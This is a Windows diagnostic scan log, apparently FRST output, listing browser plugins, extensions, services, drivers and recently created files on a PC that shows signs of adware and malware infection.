FF Plugin-x32: @esn/npbattlelog,version=2.7.1 -> C:\Program Files (x86)\Battlelog Web Plugins\2.7.1\npbattlelog.dll [2015-04-30] (EA Digital Illusions CE AB)
FF Plugin-x32: @java.com/DTPlugin,version=11.51.2 -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\dtplugin\npDeployJava1.dll [2015-07-19] (Oracle Corporation)
FF Plugin-x32: @java.com/JavaPlugin,version=11.51.2 -> C:\Program Files (x86)\Java\jre1.8.0_51\bin\plugin2\npjp2.dll [2015-07-19] (Oracle Corporation)
FF Plugin-x32: @microsoft.com/GENUINE -> disabled [No File]
FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.50907.0\npctrl.dll [2017-05-03] ( Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3502.0922 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2014-03-31] (Microsoft Corporation)
FF Plugin-x32: @microsoft.com/WLPG,version=16.4.3528.0331 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2014-03-31] (Microsoft Corporation)
FF Plugin-x32: @pandonetworks.com/PandoWebPlugin -> C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll [2014-07-11] (Pando Networks)
FF Plugin-x32: @real.com/nprpjplug;version=6.0.12.1483 -> C:\Program Files (x86)\K-Lite Codec Pack\Real\browser\plugins\nprpjplug.dll [2006-01-28] (RealNetworks, Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-05-07] (Google Inc.)
FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.33.5\npGoogleUpdate3.dll [2017-05-07] (Google Inc.)
FF Plugin-x32: @unity3d.com/UnityPlayer,version=1.0 -> C:\Program Files (x86)\Unity\WebPlayer\loader\npUnity3D32.dll [2016-05-28] (Unity Technologies ApS)
FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll [2017-03-28] (Adobe Systems Inc.)
FF Plugin-x32: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Adobe\Adobe Creative Cloud\Utils\npAdobeAAMDetect32.dll [2016-04-07] (Adobe Systems)
FF Plugin HKU\S-1-5-21-2179928940-599623959-1496544258-1002: @lightspark.github.com/Lightspark;version=1 -> C:\Program Files (x86)\Lightspark 0.5.3-git\nplightsparkplugin.dll [2011-12-01] ( )
FF Plugin HKU\S-1-5-21-2179928940-599623959-1496544258-1002: pandonetworks.com/PandoWebPlugin -> C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll [2014-07-11] (Pando Networks)
FF Plugin HKU\S-1-5-21-2179928940-599623959-1496544258-1002: ubisoft.com/uplaypc -> C:\Program Files (x86)\Ubisoft\The Settlers 7 - Paths to a Kingdom\Data\Base\_Dbg\Bin\Release\orbit\npuplaypc.dll [2013-02-26] (Ubisoft)
FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nppdf32.dll [2014-08-05] (Adobe Systems Inc.)
FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nprpjplug.dll [2006-01-28] (RealNetworks, Inc.)
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\findit.xml [2017-06-29]
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\hhkup77i.xml [2017-03-16]
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\luck.xml [2017-03-16]
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\ourluckysites.xml [2017-04-01]
FF SearchPlugin: C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\searchplugins\startpageing123.xml [2017-03-31]
FF SearchPlugin: C:\Program Files (x86)\mozilla firefox\browser\searchplugins\findit.xml [2017-06-29]
FF Extension: Flash Video Downloader - YouTube HD Download [4K] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\artur.dubovoy@gmail.com [2016-05-28]
FF Extension: xRocket Toolbar - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\arthurj8283@gmail.com [2017-03-16] [not signed]
FF Extension: No Name - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\amcontextmenu@loucypher [2017-06-29] [not signed]
FF Extension: Video Downloader Professional - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\ffext_basicvideoext@startpage24.xpi [2016-05-10]
FF Extension: No Name - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\{88c7f2aa-f93f-432c-8f0e-b7d85967a527}-trash [2011-05-01] [not signed]
FF Extension: SoundCloud Downloader - Technowise - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\Extensions\{c8d3bc80-0810-4d21-a2c2-be5f2b2832ac}.xpi [2015-12-27]
FF Extension: Skype Click to Call - C:\Program Files (x86)\Mozilla Firefox\browser\extensions\{82AF8DCA-6DE9-405D-BD5E-43525BDAD38A}.xpi [2014-07-14] [not signed]
FF HKLM\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET NOD32 Antivirus\Mozilla Thunderbird => not found
FF HKLM-x32\...\Firefox\Extensions: [iey.eaea@ilaiya.edu] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\iey.eaea@ilaiya.edu => not found
FF HKLM-x32\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\Ext => not found
FF HKLM-x32\...\Firefox\Extensions: [ext@flashenhancer.com] - C:\Program Files (x86)\AmiExt\flashEnhancer\ff
FF Extension: No Name - C:\Program Files (x86)\AmiExt\flashEnhancer\ff [2015-04-25] [not signed]
FF HKLM-x32\...\Firefox\Extensions: [arthurj8283@gmail.com] - C:\Users\Uzivatel\AppData\Roaming\Mozilla\Firefox\Profiles\xa6k9tha.default\extensions\arthurj8283@gmail.com
FF HKLM-x32\...\Thunderbird\Extensions: [eplgTb@eset.com] - C:\Program Files\ESET\ESET NOD32 Antivirus\Mozilla Thunderbird => not found
Chrome:
=======
CHR Profile: C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default
CHR Extension: (Dokumenty Google) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-04-22]
CHR Extension: (Disk Google) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2015-12-27]
CHR Extension: (YouTube) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-12-27]
CHR Extension: (Vyhledávání Google) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-12-27]
CHR Extension: (DP1815) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\fjllbogbaogimpilgdginhalhhbmhiob [2014-08-09]
CHR Extension: (Tables) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\fngmhnnpilhplaeedifhccceomclgfbg [2017-06-29]
CHR Extension: (Dokumenty Google offline) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi [2016-03-16]
CHR Extension: (Platby Internetového obchodu Chrome) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2017-03-09]
CHR Extension: (Gmail) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-03-28]
CHR Extension: (Chrome Media Router) - C:\Users\Uzivatel\AppData\Local\Google\Chrome\User Data\Default\Extensions\pkedcjkdefgpdelpbcmbmeomcjbeemfm [2017-02-08]
CHR HKU\S-1-5-21-2179928940-599623959-1496544258-1002\SOFTWARE\Google\Chrome\Extensions\...\Chrome\Extension: [fcfenmboojpjinhpgggodefccipikbpd] - hxxps://clients2.google.com/service/update2/crx
CHR HKLM-x32\...\Chrome\Extension: [cgbealecnakbhfoeeipcnoboempfkbjd] - C:\Program Files (x86)\AmiExt\flashEnhancer\ch\flashEnhancer.crx <not found>
CHR HKLM-x32\...\Chrome\Extension: [lifbcibllhkdhoafpjfnlhfpfgnpldfl] - hxxps://clients2.google.com/service/update2/crx
StartMenuInternet: Google Chrome - C:\Program Files (x86)\Google\Chrome\Application\chrome.exe hxxp://www.ourluckysites.com/?type=sc&ts=14957 ... 1837918379
==================== Services (Whitelisted) ========================
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
R2 AdobeUpdateService; C:\Program Files (x86)\Common Files\Adobe\Adobe Desktop Common\ElevationManager\AdobeUpdateService.exe [694464 2016-04-07] (Adobe Systems Incorporated)
R2 AGSService; C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient\AGSService.exe [2246256 2017-05-18] (Adobe Systems, Incorporated)
R2 AMD FUEL Service; C:\Program Files\AMD\ATI.ACE\Fuel\Fuel.Service.exe [344064 2015-07-15] (Advanced Micro Devices, Inc.) [File not signed]
R2 AppmallosayoV; C:\ProgramData\\AppmallosayoV\\AppmallosayoV.exe [2465280 2017-06-29] (TODO: <Company name>) [File not signed]
S3 BEService; C:\Program Files (x86)\Common Files\BattlEye\BEService.exe [1536520 2017-06-24] ()
R2 BIT; C:\ProgramData\BIT\BIT.dll [1812992 2017-05-17] (TODO: <公司名>) [File not signed]
S2 ES lite Service; C:\Program Files (x86)\Gigabyte\EasySaver\ESSVR.EXE [68136 2009-08-24] ()
S2 glory; C:\Users\Uzivatel\AppData\Local\glory\glory.dll [809984 2017-06-02] (glory) [File not signed]
S3 IDriverT; C:\Program Files (x86)\Common Files\InstallShield\Driver\11\Intel 32\IDriverT.exe [69632 2005-04-04] (Macrovision Corporation) [File not signed]
R2 LightScribeService; C:\Program Files (x86)\Common Files\LightScribe\LSSrvc.exe [73728 2010-08-16] (Hewlett-Packard Company) [File not signed]
R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4355024 2017-01-20] (Malwarebytes) [File not signed]
R2 MsMpSvc; C:\Program Files\Microsoft Security Client\MsMpEng.exe [119864 2016-11-14] (Microsoft Corporation)
R2 MSSQL$SONY_MEDIAMGR; C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlservr.exe [7520337 2002-12-17] (Microsoft Corporation) [File not signed]
S3 MSSQLServerADHelper; C:\Program Files (x86)\Microsoft SQL Server\80\Tools\Binn\sqladhlp.exe [66112 2002-12-17] (Microsoft Corporation) [File not signed]
R2 Nettrans; C:\ProgramData\PrefsSecure\Nettrans.exe [43520 2017-04-25] () [File not signed]
R3 NisSrv; C:\Program Files\Microsoft Security Client\NisSrv.exe [361816 2016-11-14] (Microsoft Corporation)
R2 NMSAccessU; C:\Program Files (x86)\CDBurnerXP\NMSAccessU.exe [71096 2009-11-12] ()
S3 Origin Client Service; C:\Program Files (x86)\Origin\OriginClientService.exe [2120712 2016-05-10] (Electronic Arts)
R2 PnkBstrA; C:\Windows\SysWOW64\PnkBstrA.exe [76152 2016-05-10] ()
R2 SBSDWSCService; C:\Program Files (x86)\Spybot - Search & Destroy\SDWinSec.exe [1153368 2009-01-26] (Safer Networking Ltd.)
S3 SQLAgent$SONY_MEDIAMGR; C:\Program Files (x86)\Sony\Shared Plug-Ins\Media Manager\MSSQL$SONY_MEDIAMGR\Binn\sqlagent.EXE [311872 2002-12-17] (Microsoft Corporation) [File not signed]
S3 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [1011712 2013-05-27] (Microsoft Corporation)
S2 Windows; C:\Windows\SysWOW64\svchost.exe [20992 2009-07-14] (Microsoft Corporation)
R2 WinSAPSvc; C:\Users\Uzivatel\AppData\Roaming\WinSAPSvc\WinSAP.dll [1887232 2017-05-17] () [File not signed]
S2 3DM; C:\Users\Uzivatel\AppData\Local\3DM\Kitty.dll [X]
S2 AMD; C:\Users\Uzivatel\AppData\Local\AMD\amd.exe -s [X]
S2 AppleSrv; C:\ProgramData\Apple\Apple Application\DeviceCfg.dll [X]
S3 digiSPTIService64; "C:\Program Files\Avid\Pro Tools\digisptiservice64.exe" [X]
S2 ed2kidle; "C:\Program Files (x86)\amulell\ed2k.exe" -downloadwhenidle [X]
S2 FirefoxU; "C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe" [X]
S2 Kitty; C:\Users\Uzivatel\AppData\Local\Kitty\Kitty.dll [X]
S2 PlaysService; "C:\Program Files (x86)\Raptr Inc\PlaysTV\plays_service.exe" [X]
S2 swpsvr; C:\ProgramData\Microsoft\Windows\system\appidsvr.dll [X]
S2 WinAppSvr; C:\ProgramData\Microsoft\AppV\sym\dbg.dll [X]
S2 WindowsAppSvc; C:\ProgramData\Microsoft\Apps\common\helper.dll [X]
===================== Drivers (Whitelisted) ==========================
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
R0 amdkmpfd; C:\Windows\System32\DRIVERS\amdkmpfd.sys [62152 2014-10-28] (Advanced Micro Devices, Inc.)
R2 AODDriver4.3; C:\Program Files\AMD\ATI.ACE\Fuel\amd64\AODDriver2.sys [59616 2014-02-11] (Advanced Micro Devices)
S1 avgtp; C:\Windows\system32\drivers\avgtpx64.sys [45856 2013-05-20] () [File not signed]
S3 BRDriver64; C:\ProgramData\BitRaider\BRDriver64.sys [75048 2014-03-23] (BitRaider)
R1 cfidsk; C:\Windows\System32\drivers\cfidsk.sys [196520 2017-06-20] ()
S3 dtlitescsibus; C:\Windows\System32\DRIVERS\dtlitescsibus.sys [30264 2017-03-16] (Disc Soft Ltd)
S3 dtliteusbbus; C:\Windows\System32\DRIVERS\dtliteusbbus.sys [47672 2017-03-16] (Disc Soft Ltd)
S3 ebdrv; C:\Windows\system32\DRIVERS\evbda.sys [3286016 2009-06-10] (Broadcom Corporation)
S3 huawei_wwanecm; C:\Windows\System32\DRIVERS\ew_juwwanecm.sys [213504 2011-07-12] (Huawei Technologies Co., Ltd.)
S3 igfx; C:\Windows\System32\DRIVERS\igdkmd64.sys [6112672 2009-06-16] (Intel Corporation) [File not signed]
S3 irsir; C:\Windows\System32\DRIVERS\irsir.sys [27648 2008-01-19] (Microsoft Corporation)
R0 MBAMSwissArmy; C:\Windows\System32\drivers\MBAMSwissArmy.sys [251832 2017-06-29] (Malwarebytes)
S3 MBAMWebProtection; C:\Windows\system32\drivers\mwac.sys [82720 2017-05-23] (Malwarebytes) [File not signed]
R0 MpFilter; C:\Windows\System32\DRIVERS\MpFilter.sys [295000 2016-08-25] (Microsoft Corporation)
R1 MpKsl380dade0; c:\ProgramData\Microsoft\Microsoft Antimalware\Definition Updates\{F0321F25-D08B-4280-8BC9-3B12FDCD3044}\MpKsl380dade0.sys [44928 2017-07-01] (Microsoft Corporation)
R3 NisDrv; C:\Windows\System32\DRIVERS\NisDrvWFP.sys [135928 2016-08-25] (Microsoft Corporation)
S0 prohlp02; C:\Windows\SysWOW64\drivers\prohlp02.sys [111808 2004-05-13] (Protection Technology) [File not signed]
S0 prosync1; C:\Windows\SysWOW64\drivers\prosync1.sys [6944 2003-09-06] (Protection Technology) [File not signed]
R0 PxHlpa64; C:\Windows\System32\Drivers\PxHlpa64.sys [56336 2012-06-22] (Corel Corporation)
S0 sfhlp01; C:\Windows\SysWOW64\drivers\sfhlp01.sys [4832 2003-12-01] (Protection Technology) [File not signed]
R0 sptd; C:\Windows\System32\Drivers\sptd.sys [394296 2017-03-16] (Duplex Secure Ltd.)
S3 StarOpen; C:\Windows\System32\Drivers\StarOpen.sys [5504 2009-11-12] ()
S3 StarOpen; C:\Windows\SysWow64\Drivers\StarOpen.sys [7168 2009-11-12] () [File not signed]
S3 XSplit_Dummy; C:\Windows\System32\drivers\xspltspk.sys [26200 2014-07-02] (SplitmediaLabs Limited)
S3 YMIDUSBW; C:\Windows\System32\drivers\ymidusbx64.sys [51496 2013-04-04] (Yamaha Corporation)
S2 AODDriver4.01; \??\C:\Program Files\ATI Technologies\ATI.ACE\Fuel\amd64\AODDriver2.sys [X]
S3 ATICDSDr; \??\C:\Windows\TEMP\ATICDSDr.sys [X]
S3 cpuz132; \??\C:\Users\Uzivatel\AppData\Local\Temp\cpuz132\cpuz132_x64.sys [X]
S1 eddcraht; \??\C:\Windows\system32\drivers\eddcraht.sys [X]
S3 gdrv; \??\C:\Windows\gdrv.sys [X]
S1 iSafeKrnlMon; \??\C:\Program Files (x86)\Elex-tech\YAC\iSafeKrnlMon.sys [X]
S3 LVPr2M64; system32\DRIVERS\LVPr2M64.sys [X]
S3 LVRS64; system32\DRIVERS\lvrs64.sys [X]
S3 LVUVC64; system32\DRIVERS\lvuvc64.sys [X]
S1 lwedyski; \??\C:\Windows\system32\drivers\lwedyski.sys [X]
S1 mewhqimk; \??\C:\Windows\system32\drivers\mewhqimk.sys [X]
S1 prodrv06; \SystemRoot\System32\drivers\prodrv06.sys [X]
S1 qvpajadl; \??\C:\Windows\system32\drivers\qvpajadl.sys [X]
U2 snare; no ImagePath
S3 WinRing0_1_2_0; \??\C:\Program Files (x86)\Razer\Razer Game Booster\Driver\WinRing0x64.sys [X]
==================== NetSvcs (Whitelisted) ===================
(If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
==================== One Month Created files and folders ========
(If an entry is included in the fixlist, the file/folder will be moved.)
2017-07-01 21:58 - 2017-07-01 21:58 - 00003162 _____ C:\Windows\System32\Tasks\{9A61D488-CAEF-4292-8C11-109B7A7214E7}
2017-07-01 21:57 - 2017-07-01 21:57 - 00003162 _____ C:\Windows\System32\Tasks\{975EC48D-76CF-4AB5-89BE-0F81A3F1DAEC}
2017-07-01 21:56 - 2017-07-01 21:56 - 00003162 _____ C:\Windows\System32\Tasks\{31BA5A72-3AC8-4833-A0DA-006CF4475CD1}
2017-07-01 21:20 - 2017-07-01 21:20 - 00000004 ____H C:\ProgramData\cm-lock
2017-06-30 16:33 - 2017-06-30 16:33 - 04110280 _____ C:\Users\Uzivatel\Downloads\adwcleaner_6.047.exe
2017-06-30 14:52 - 2017-07-01 23:02 - 00001042 _____ C:\Users\DefaultAppPool\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
2017-06-29 19:09 - 2017-06-29 19:09 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\ooq45k0gz3k
2017-06-29 19:09 - 2017-06-29 19:09 - 00000000 ____D C:\Program Files\I59ZA8EZ7K
2017-06-29 18:37 - 2017-06-29 18:37 - 00013729 ____R C:\Windows\system32\Drivers\etc\hosts.20170629-183755.backup
2017-06-29 18:37 - 2017-06-29 18:37 - 00013394 ____R C:\Windows\system32\Drivers\etc\hosts.20170629-183756.backup
2017-06-29 18:37 - 2017-06-29 18:37 - 00009656 ____R C:\Windows\system32\Drivers\etc\hosts.20170629-183757.backup
2017-06-29 16:32 - 2017-06-29 16:33 - 00000000 ____D C:\ProgramData\AppmallosayoVs
2017-06-29 16:30 - 2017-07-01 10:54 - 00000000 ____D C:\ProgramData\AppmallosayoV
2017-06-29 16:28 - 2017-06-29 16:28 - 00000000 ____D C:\ProgramData\Microleaves
2017-06-29 16:20 - 2017-06-29 16:20 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\1fqb43r0ntz
2017-06-29 16:20 - 2017-06-29 16:20 - 00000000 ____D C:\Program Files\G05HC4PZV0
2017-06-29 16:19 - 2017-06-29 16:19 - 00000270 __RSH C:\Users\Uzivatel\ntuser.pol
2017-06-29 16:12 - 2017-06-29 18:43 - 00003164 _____ C:\Windows\System32\Tasks\34a6735dd8363e8db5cc880809001e84
2017-06-29 16:11 - 2017-06-29 18:43 - 00000000 ____D C:\Windows\SysWOW64\SSL
2017-06-29 16:10 - 2017-07-01 23:02 - 00016682 _____ C:\Windows\System32\Tasks\eStark
2017-06-29 16:10 - 2017-07-01 21:20 - 00000000 ____D C:\ProgramData\PrefsSecure
2017-06-29 16:09 - 2017-06-29 17:38 - 00000000 ____D C:\Program Files (x86)\UCBrowser
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\slt0o43qupq
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\Microleaves
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D C:\Program Files\SWG63XXW0V
2017-06-29 16:08 - 2017-06-29 16:08 - 00000000 ____D C:\Program Files\FNJLTCS41J
2017-06-29 16:07 - 2017-07-01 22:16 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\xgmrsj1ys5i
2017-06-29 16:07 - 2017-06-30 15:19 - 00000000 ____D C:\Program Files (x86)\u1f3jffxnwl
2017-06-29 16:07 - 2017-06-29 16:24 - 00000270 __RSH C:\ProgramData\ntuser.pol
2017-06-29 16:07 - 2017-06-29 16:24 - 00000000 ____D C:\Program Files (x86)\AVBoost
2017-06-29 16:07 - 2017-06-29 16:08 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\UCChannel
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\tqvg0555bo0
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\iqglfixjuar
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\BrowserModule
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D C:\Program Files\4SYXRXP5F6
2017-06-29 16:07 - 2017-06-29 16:07 - 00000000 ____D C:\Program Files (x86)\pchandller
2017-06-29 16:06 - 2017-06-29 16:06 - 01625824 _____ (The OpenSSL Project, hxxp://www.openssl.org/) C:\Windows\libeay32.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 01559319 _____ (Microsoft Corporation) C:\Windows\csrss.exe
2017-06-29 16:06 - 2017-06-29 16:06 - 00608117 _____ C:\Windows\libcurl-4.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 00054784 _____ (MingW-W64 Project. All rights reserved.) C:\Windows\libwinpthread-1.dll
2017-06-29 16:06 - 2017-06-29 16:06 - 00002166 ___RS C:\Users\Uzivatel\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Intеrnet Ехрlorer.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00002111 ___RS C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Gооgle Chrоmе.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00002009 ___RS C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Моzillа Firefoх.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00001921 ___RS C:\Users\Public\Desktop\Моzillа Firefoх.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00001916 ___RS C:\Users\Public\Desktop\Gооglе Chrоme.lnk
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D C:\Windows\Azart
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D C:\Users\Public\Documents\XMUpdate
2017-06-29 16:06 - 2017-06-29 16:06 - 00000000 ____D C:\Program Files\0KIQQIA15D
2017-06-29 16:05 - 2017-06-29 16:06 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\Browsers
2017-06-29 16:05 - 2017-06-29 16:05 - 00001118 _____ C:\Users\Uzivatel\Desktop\Играть в Dragon Knight.lnk
2017-06-29 16:05 - 2017-06-29 16:05 - 00000000 ____D C:\Users\Uzivatel\AppData\Roaming\SPI
2017-06-28 14:38 - 2017-06-28 14:38 - 00446976 _____ C:\Windows\8b9836564933afe44040fc5095e35f84.exe
2017-06-28 14:38 - 2017-06-28 14:38 - 00051629 _____ C:\Windows\uninstaller.dat
2017-06-25 18:57 - 2017-07-01 21:31 - 00000000 ___HD C:\Users\Public\Documents\AdobeGC
2017-06-24 14:30 - 2017-06-24 14:43 - 00000000 ____D C:\Users\Uzivatel\Documents\Argo
2017-06-20 08:42 - 2017-06-20 08:42 - 00196520 _____ C:\Windows\system32\Drivers\cfidsk.sys
2017-06-16 16:56 - 2017-06-02 10:28 - 02317824 _____ (Microsoft Corporation) C:\Windows\system32\tquery.dll
2017-06-16 16:56 - 2017-06-02 10:28 - 02222080 _____ (Microsoft Corporation) C:\Windows\system32\mssrch.dll
2017-06-16 16:56 - 2017-06-02 10:10 - 00733696 _____ (Microsoft Corporation) C:\Windows\HelpPane.exe
2017-06-16 16:56 - 2017-06-02 10:09 - 01549824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tquery.dll
2017-06-16 16:56 - 2017-06-02 10:09 - 01400320 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssrch.dll
2017-06-16 16:56 - 2017-05-14 22:19 - 25738752 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll
2017-06-16 16:56 - 2017-05-14 21:55 - 05975040 _____ (Microsoft Corporation) C:\Windows\system32\jscript9.dll
2017-06-16 16:56 - 2017-05-14 21:11 - 20274688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll
2017-06-16 16:56 - 2017-05-14 20:54 - 15252992 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll
2017-06-16 16:56 - 2017-05-14 20:52 - 03240960 _____ (Microsoft Corporation) C:\Windows\system32\wininet.dll
2017-06-16 16:56 - 2017-05-14 20:44 - 04549120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9.dll
2017-06-16 16:56 - 2017-05-14 20:30 - 13664768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll
2017-06-16 16:56 - 2017-05-14 20:15 - 02767872 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wininet.dll
2017-06-16 16:56 - 2017-05-12 20:26 - 05547752 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe
2017-06-16 16:56 - 2017-05-12 20:22 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\usp10.dll
2017-06-16 16:56 - 2017-05-12 20:07 - 04001000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntkrnlpa.exe
2017-06-16 16:56 - 2017-05-12 20:07 - 03945704 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntoskrnl.exe
2017-06-16 16:56 - 2017-05-12 19:52 - 03222528 _____ (Microsoft Corporation) C:\Windows\system32\win32k.sys
2017-06-16 16:56 - 2017-05-10 17:29 - 14183936 _____ (Microsoft Corporation) C:\Windows\system32\shell32.dll
2017-06-16 16:56 - 2017-05-10 17:14 - 02651136 _____ (Microsoft Corporation) C:\Windows\system32\wuaueng.dll
2017-06-16 16:56 - 2017-05-10 17:12 - 12880896 _____ (Microsoft Corporation) C:\Windows\SysWOW64\shell32.dll
2017-06-16 16:56 - 2017-05-09 17:30 - 00757248 _____ (Microsoft Corporation) C:\Windows\system32\win32spl.dll
2017-06-16 16:56 - 2017-04-28 00:50 - 03550208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\D3DCompiler_47.dll
2017-06-16 16:56 - 2017-04-12 15:05 - 04296704 _____ (Microsoft Corporation) C:\Windows\system32\D3DCompiler_47.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00778240 _____ (Microsoft Corporation) C:\Windows\system32\mssvp.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00491520 _____ (Microsoft Corporation) C:\Windows\system32\mssph.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00288256 _____ (Microsoft Corporation) C:\Windows\system32\mssphtb.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00115200 _____ (Microsoft Corporation) C:\Windows\system32\mssitlb.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00099840 _____ (Microsoft Corporation) C:\Windows\system32\mssprxy.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00075264 _____ (Microsoft Corporation) C:\Windows\system32\msscntrs.dll
2017-06-16 16:55 - 2017-06-02 10:28 - 00014336 _____ (Microsoft Corporation) C:\Windows\system32\msshooks.dll
2017-06-16 16:55 - 2017-06-02 10:11 - 00591872 _____ (Microsoft Corporation) C:\Windows\system32\SearchIndexer.exe
2017-06-16 16:55 - 2017-06-02 10:11 - 00249856 _____ (Microsoft Corporation) C:\Windows\system32\SearchProtocolHost.exe
2017-06-16 16:55 - 2017-06-02 10:10 - 00113664 _____ (Microsoft Corporation) C:\Windows\system32\SearchFilterHost.exe
2017-06-16 16:55 - 2017-06-02 10:09 - 00666624 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssvp.dll
2017-06-16 16:55 - 2017-06-02 10:09 - 00337408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mssph.dll
